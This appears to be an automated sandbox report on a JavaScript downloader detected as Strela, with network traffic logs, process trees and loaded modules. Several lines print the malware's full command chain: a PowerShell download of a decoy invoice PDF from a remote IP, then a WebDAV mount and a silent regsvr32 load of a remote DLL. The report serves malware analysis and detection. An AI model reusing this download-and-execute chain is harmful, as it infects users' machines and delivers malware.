1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49730

Source: global traffic

TCP traffic: 192.168.2.7:49730 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49708 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000004.00000002.1291762760.000002576C12B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1391663684.000001FF05C76000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1379237224.000001FF05C9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1391663684.000001FF05C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000003.1381577331.000001FF05C76000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1391663684.000001FF05C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: svchost.exe, 0000000F.00000002.2565939002.000002C1F6800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1380151105.000002C1F6A20000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7032, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2067419799306291220.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6524:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5koikknj.3gl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2067419799306291220.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1756,i,727159845177561612,12643622028532532394,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1756,i,727159845177561612,12643622028532532394,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
